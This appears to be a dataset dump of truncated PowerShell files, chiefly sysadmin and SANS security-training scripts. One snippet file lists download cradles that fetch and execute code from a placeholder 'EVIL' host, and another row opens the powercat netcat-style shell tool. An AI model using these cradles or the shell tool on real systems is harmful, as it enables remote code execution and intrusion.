full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/Statoil_mad-vsts-tasks/Tasks/Common/VstsAzureHelpers_/ImportFunctions.ps1 | ImportFunctions.ps1 | function Import-AzureModule {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true)]
[ValidateSet('Azure', 'AzureRM')]
[string[]]$PreferredModule)
Trace-VstsEnteringInvocation $MyInvocation
try {
Write-Verbose "Env:PSModulePath: '$env:PSMODULEPATH'"
if... |
PowerShellCorpus/Github/Statoil_mad-vsts-tasks/Tasks/Common/VstsAzureHelpers_/InitializeFunctions.ps1 | InitializeFunctions.ps1 | function Add-Certificate {
[CmdletBinding()]
param([Parameter(Mandatory=$true)]$Endpoint)
# Add the certificate to the cert store.
$bytes = [System.Convert]::FromBase64String($Endpoint.Auth.Parameters.Certificate)
$certificate = New-Object System.Security.Cryptography.X509Certificates.X509Cer... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Questions/Get-McsaQuestions.ps1 | Get-McsaQuestions.ps1 | [cmdletbinding()]
Param (
[string] $QuestionSource = 'https://raw.githubusercontent.com/NgPecSysAdmin/NgPecSysAdmin/master/resources/Questions/questions.xml',
[int] $NumberOfQuestions = 10
) # Param
Process {
$ProgressPreferenceBak = $ProgressPreference
$ProgressPreference = [System.Management.Automation.Actio... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Snippits/DownloadCradles.ps1 | DownloadCradles.ps1 | # normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Documen... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Snippits/psremoting-using-local-functions.ps1 | psremoting-using-local-functions.ps1 | $NewRemoteAudioMessageDefinition = "Function NewRemoteAudioMessage { ${function:New-AudioNotification} }"
Invoke-Command -ComputerName $ComputerName -ScriptBlock { Param ( $NewRemoteAudioMessageDefinition ) . ([scriptblock]::Create($using:NewRemoteAudioMessageDefinition)) ; NewRemoteAudioMessage -Message 'Hi' } |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-CIMFile.ps1 | Get-CIMFile.ps1 | Function Get-CIMFile {
<#
.SYNOPSIS
Gets all files using the specified name or extension against multiple systems.
.DESCRIPTION
Gets all files using the specified name or extension against multiple systems.
.PARAMETER Computername
List of comput... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-McAfeeLogs.ps1 | Get-McAfeeLogs.ps1 | function Get-McAfeeLogs {
[cmdletbinding()]
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('CN','Hostname','Target','IP','IpAddress')]
[string] $ComputerName = $env:COMPUTERNAME,
[datetime] $epoch = '01/01/1970',
[string] $IpAddressRegEx = '^(?:(?:1\... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-DellDriverCabs.ps1 | Get-DellDriverCabs.ps1 | function Get-DellDriverCabs {
[cmdletbinding()]
Param (
[string] $OutCabArchive = $($env:TEMP + '\DriverPackCatalog.cab'),
[string] $OutFile = $($env:TEMP + '\DriverPackCatalog.xml'),
[string] $DriverPackCatalogUrl = 'https://downloads.dell.com/catalog/DriverPackCatalog.cab'
)
begin {
... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-Java.ps1 | Install-Java.ps1 | Function Install-Java {
[cmdletbinding()]
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName','PSComputerName','CN','Hostname')]
[array] $ComputerName = @($env:COMPUTERNAME),
[string] $JavaSource = '\\server1\packages\Oracle\Java-Latest',
[s... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserGroupAddsRemoves.ps1 | Get-UserGroupAddsRemoves.ps1 | function Get-UserGroupAddsRemoves {
Param (
[datetime] $StartDateTime = (Get-Date),
[datetime] $EndDateTime = ((Get-Date).AddDays(-1)),
[array] $LogFilePath = (
'\\server1\path\to\logs\'
)
)
Begin {} # End of Begin ScriptBlock
Process {
Get-ChildItem $LogFilePath |
Where-Object ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Shame-NetfilxUser.ps1 | Shame-NetfilxUser.ps1 | #requires -Version 2
function New-AudioNotification {
[CmdletBinding(SupportsShouldProcess = $True,ConfirmImpact = 'Low')]
Param(
[Parameter(Mandatory = $False,ValueFromPipeline)]
[string]$Message = 'This is a test of the PowerShell broadcast system.'
)
Begin{
... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/New-SWRandomPassword.ps1 | New-SWRandomPassword.ps1 | function New-SWRandomPassword {
<#
.Synopsis
Generates one or more complex passwords designed to fulfill the requirements for Active Directory
.DESCRIPTION
Generates one or more complex passwords designed to fulfill the requirements for Active Directory
.EXAMPLE
New-SWRandomP... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-ProfileSize.ps1 | Get-ProfileSize.ps1 | # Get the cumulative size of all user profiles on the system in GB
[math]::Round(
(
(
(
Get-ChildItem -Path C:\Users |
ForEach-Object {
Write-Verbose "Processing $($_.FullName)" ;
Get-ChildItem -Path $_.FullName -Recurse -File -ErrorAction SilentlyContinue
... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SendTo-SysLog.ps1 | SendTo-SysLog.ps1 | ####################################################################################
#.Synopsis
# Send syslog UDP messages (RFC3164, but not RFC5424).
#
#.Description
# Send syslog UDP message with chosen facility, severity, content and tag. These
# messages are typically sent to UNIX/Linux syslog servers, log... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Select-WinEvent.ps1 | Select-WinEvent.ps1 | Function Select-WinEvent {
[CmdletBinding(DefaultParameterSetName = 'Select')]
Param (
[Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)]
[System.Diagnostics.Eventing.Reader.EventLogRecord] $Event,
[Parameter(ParameterSetName = 'Select')]
[String[]] $Property,
[Parameter(Param... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserLogonReport.ps1 | Get-UserLogonReport.ps1 | [cmdletbinding()]
Param (
[datetime] $StartDateTime = ((Get-Date).AddDays(-1)),
[datetime] $EndDateTime = (Get-Date),
[string] $UserName = $env:USERNAME,
[array] $LogFilePath = (
'\\server1\path\to\logs\'
)
)
Begin {} # End of Begin ScriptBlock
Process {
# The XPath filter n... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-AcrobatPro.ps1 | Install-AcrobatPro.ps1 | Function Install-AcrobatPro {
[cmdletbinding()]
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName','PSComputerName','CN','Hostname')]
[string] $ComputerName = $env:COMPUTERNAME,
[string] $CurrentVersion = '11.0.19'
) # Param
Begin {
if ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-UserAccountDeletions.ps1 | Get-UserAccountDeletions.ps1 | function Get-UserAccountDeletions {
Param (
[datetime] $StartDateTime = (Get-Date),
[datetime] $EndDateTime = ((Get-Date).AddDays(-1)),
[array] $LogFilePath = (
'\\server1\path\to\logs\'
)
)
Begin {} # End of Begin ScriptBlock
Process {
Get-ChildItem $LogFilePath |
Where-Object ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/powercat.ps1 | powercat.ps1 | function powercat
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switc... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-Capi2EventLogs.ps1 | Get-Capi2EventLogs.ps1 | function Get-Capi2EventLogs {
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName','PSComputerName','CN','Hostname')]
[string] $ComputerName = $env:COMPUTERNAME
) # End of Param section
Begin {
$Capi2EventFilter = [xml] @"
<QueryList>
<Quer... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/deleteold.ps1 | deleteold.ps1 | <#
.SYNOPSIS
Script to delete or list old files in a folder
.DESCRIPTION
Script to delete files older than x-days. The script is built to be used as a scheduled task, it automatically generates a logfile name based on the copy location and the current date/time. There are various levels of logging avai... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-WinEventXPathFilter.ps1 | Get-WinEventXPathFilter.ps1 | Function Get-WinEventXPathFilter
{
<#
.SYNOPSIS
This function generates an xpath filter that can be used with the -FilterXPath
parameter of Get-WinEvent. It may also be used inside the <Select></Select tags
of a Custom View in Event Viewer.
.DESCRIPTION
This function generates an x... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-RemoteShadowCopyInformation.ps1 | Get-RemoteShadowCopyInformation.ps1 | Function Get-RemoteShadowCopyInformation {
<#
.SYNOPSIS
Gathers shadow copy volume information from a system.
.DESCRIPTION
Gathers shadow copy volume information from a system. Utilizes remote runspaces and alternate
credentials.
.PARAMETER ComputerName
Specifies the ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/java-download-powershell.ps1 | java-download-powershell.ps1 | # Downloads the latest Java
$bak = $ProgressPreference
$ProgressPreference = 'SilentlyContinue'
$downloadPage = 'http://www.oracle.com/'
$downloadUrl32 = 'http://download.oracle.com/otn-pub/java/jdk/8u121-b13/e9e7ea248e2c4826b92b3f075a80e441/jre-8u121-windows-i586.exe'
$downloadUrl64 = 'http://download.oracle.com/... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Install-SplunkForwarder.ps1 | Install-SplunkForwarder.ps1 | Function Install-SplunkForwarder {
[cmdletbinding()]
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName','PSComputerName','CN','Hostname')]
[array] $ComputerName = @($env:COMPUTERNAME),
[string] $SplunkSource = "$env:TEMP\source_splunkforwarder.msi",
... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-TargetedEvents.ps1 | Get-TargetedEvents.ps1 | Function Get-TargetedEvents {
[cmdletbinding()]
Param (
[parameter(ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[Alias('DNSHostName','PSComputerName','CN','Hostname')]
[array] $ComputerName = @($env:COMPUTERNAME),
[int] $Hours = 1,
[string] $SearchTerm = $env:USERNAME
)... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/New-AudioNotification.ps1 | New-AudioNotification.ps1 | Function New-AudioNotification {
[CmdletBinding(SupportsShouldProcess = $True,ConfirmImpact = 'Low')]
Param(
[parameter(Mandatory=$False,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)]
[string]$Message = 'PowerShell all the things!'
)
Begin {
$AudioControl = @'
usin... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/Get-InstalledSoftware.ps1 | Get-InstalledSoftware.ps1 | function Get-InstalledSoftware {
<#
.SYNOPSIS
Pull software details from registry on one or more computers
.DESCRIPTION
Pull software details from registry on one or more computers. Details:
-This avoids the performance impact and potential danger of using the WMI Win32_Product class
-... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/SEC505-Setup-Script.ps1 | SEC505-Setup-Script.ps1 | ###############################################################################
#
# Do not run this script in your host computer, this is for your training VM.
#
# Create a C:\SANS folder inside your training VM, not on your host laptop.
#
# Mount the ISO file on the CD or USB drive given to you inside the ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Get-AppLockerBlockEvent.ps1 | Get-AppLockerBlockEvent.ps1 | # Retrieves just the warning events from the AppLocker logs. These events are logged when
# AppLocker blocks or would have blocked (in audit mode) a process, script, DLL or package.
Get-WinEvent -Filterhashtable @{ LogName='Microsoft-Windows-AppLocker/EXE and DLL' ; Level=3 } -ErrorAction SilentlyContinue
Get-Win... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Snapshot.ps1 | Snapshot.ps1 | #**********************************************************************
# Name: SNAPSHOT.PS1
# Version: 4.0
# Date: 26.Jan.2015
# Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505)
# Purpose: Dumps a vast amount of configuration data for the sake
# of auditing and for... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Compare-ExportedXmlFiles.ps1 | Compare-ExportedXmlFiles.ps1 | # Assist in the comparison of two XML files with objects
# of the same type, usually produced by the same command.
# First run: compare the XML files, look for differences
# that are potentially relevant, note the names of the
# properties with differences. Subsequent runs: give
# the property name which containe... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/New-WirelessProfileWithKey.ps1 | New-WirelessProfileWithKey.ps1 | ####################################################################################
#.Synopsis
# Create a WPA2-Personal wireless profile with a preshared key using AES.
#
#.Description
# Create a WPA2-Personal wireless profile with a preshared key using AES.
# Requires Windows 7 or later. Must be ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Show-WirelessKeys.ps1 | Show-WirelessKeys.ps1 | ####################################################################################
#.Synopsis
# Displays wireless SSID names and their preshared keys in plaintext.
#
#.Description
# Displays wireless SSID names and their preshared keys in plaintext.
# Requires Windows 7 or later. Must be run with adm... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Who-Can-Escape.ps1 | Who-Can-Escape.ps1 | <# #############################################################################
This script just demos some code which can be used to try to detect which
computers can bypass your authorized perimeter routers to gain Internet access
by some other method, e.g., a personal VPN or tethering through a mobile device.... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/New-MACaddress.ps1 | New-MACaddress.ps1 | ####################################################################################
#.Synopsis
# Assigns a new random MAC address to a physical network interface.
#
#.Description
# Windows has a registry value which can be set to override the default MAC
# address in a network interface card (NIC). I... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Windows-Wireless-Access-Point.ps1 | Windows-Wireless-Access-Point.ps1 | # This script demos how to configure a Windows computer
# as a wireless access point with netsh.exe. Microsoft
# calls such an access point a "hosted network."
# Stop the current hosted network, if started.
netsh.exe wlan stop hostednetwork
# Create the hosted network, SSID and pre-shared key.
netsh.exe ... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Wireless/Install-NetworkPolicyServices.ps1 | Install-NetworkPolicyServices.ps1 | ######################################################################
#
# Installs Network Policy Services (NPS) on Server 2012 and later.
#
######################################################################
# Check if NPS is already installed:
if ( $(Get-WindowsFeature -Name NPAS-Policy-Server).installe... |
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day5-IPSec/Firewall/NetShell-Import-Firewall-Blocklist.ps1 | NetShell-Import-Firewall-Blocklist.ps1 |